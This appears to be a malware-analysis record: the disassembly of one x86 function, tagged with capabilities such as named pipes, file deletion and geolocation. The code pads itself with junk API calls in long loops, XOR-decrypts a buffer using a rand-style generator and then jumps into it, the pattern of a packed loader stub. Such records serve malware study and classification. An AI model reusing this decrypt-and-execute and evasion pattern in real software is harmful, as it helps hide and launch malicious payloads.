Function at 0x4011ae
Capabilities:
Connect pipe
Delete directory
Delete file
Get disk information
Get file attributes
Get file size
Get geographical location
Move file
Read pipe
Terminate process
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1288
call fcn.0040b8f0
mov eax, dword [0x42e004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x4335f8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor esi, esi
cmp eax, 0xb122d
jne 0x401242
push esi
lea eax, [ebp - 0x9d0]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push esi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
lea eax, [ebp - 0x1200]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
xor eax, eax
lea edi, [ebp - 0x11de]
mov word [ebp - 0x11e0], ax
stosd dword es:[edi], eax
push esi
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x400]
push eax
push esi
lea eax, [ebp - 0x11e0]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
cmp dword [0x4335f4], 0xe8d
jne 0x401487
jmp 0x401480
mov edi, esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp edi, 0x607b8f
jle 0x401260
cmp dword [ebp - 0x1278], 0x348fa6d0
jne 0x401269
inc edi
cmp edi, 0x14e08faa
jl 0x401244
mov ecx, dword [0x4335f4]
mov eax, esi
cmp eax, 0x171392
cmove ecx, dword [0x42e8c0]
inc eax
cmp eax, 0x351bef
jl 0x401271
mov dword [0x4335f4], ecx
mov edi, esi
cmp ecx, 0x237
jne 0x4012c7
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push esi
lea eax, [ebp - 0x11d0]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
mov ecx, dword [0x4335f4]
cmp edi, 0x2af1ae
jne 0x4012db
add ecx, 0x3fa6b
mov dword [0x4335f4], ecx
cmp ecx, 0xf7b
jne 0x4012fb
push esi
lea eax, [ebp - 0x404]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ecx, dword [0x4335f4]
inc edi
cmp edi, 0x34172f
jl 0x40128d
mov edi, esi
cmp edi, 0x399ed
jne 0x401321
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ecx, dword [0x4335f4]
mov dword [0x45d01c], eax
inc edi
cmp edi, 0x34e918
jl 0x401306
mov edx, esi
mov eax, dword [0x45d014]
cmp edx, 0x192db9
cmove eax, dword [0x42e8b4]
inc edx
mov dword [0x45d014], eax
cmp edx, 0x3451ad
jl 0x40132c
mov edi, esi
test ecx, ecx
je 0x40139a
cmp ecx, 0x13fb
jne 0x401368
lea eax, [ebp - 0x1204]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
mov eax, dword [0x45d014]
mov dword [ebp - 0x1200], eax
mov eax, 0x3fa6b
add dword [ebp - 0x1200], eax
mov eax, dword [ebp - 0x1200]
mov cl, byte [eax + edi]
mov eax, dword [0x45d01c]
mov byte [eax + edi], cl
inc edi
mov ecx, dword [0x4335f4]
cmp edi, ecx
jb 0x401352
cmp ecx, 0x932
jb 0x4013ad
call section..text
mov ecx, dword [0x4335f4]
cmp ecx, 0x1427
jb 0x4013ba
call section..text
call fcn.00401117
mov eax, dword [0x4335f4]
mov ebx, eax
mov edx, dword [0x45d01c]
mov ecx, dword [0x42e8c8]
mov dword [ebp - 0x1200], edx
mov dword [0x4335f0], ecx
cmp eax, 0x893
jne 0x401403
push dword [ebp - 0x1204]
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov eax, dword [0x4335f4]
mov ecx, dword [0x4335f0]
mov edx, dword [ebp - 0x1200]
mov edi, esi
test ebx, ebx
jle 0x401448
cmp ebx, 0x11f5
jne 0x401424
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov ecx, dword [0x4335f0]
mov edx, dword [ebp - 0x1200]
imul ecx, ecx, 0x343fd
add ecx, 0x269ec3
mov eax, ecx
mov dword [0x4335f0], ecx
shr eax, 0x10
xor byte [edi + edx], al
inc edi
cmp edi, ebx
jl 0x401409
mov eax, dword [0x4335f4]
add dword [0x45d01c], 0x4c
cmp eax, 0xd8b
jne 0x401469
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
call dword [0x45d01c]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.004014f1
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push esi
lea eax, [ebp - 0x1204]
push eax
push esi
lea eax, [ebp - 0x11d0]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CallNamedPipeW]
push esi
lea eax, [ebp - 0x121c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
lea eax, [ebp - 0x11fc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push esi
call fcn.00402e33
pop ecx
push esi
call fcn.00402c9c
int3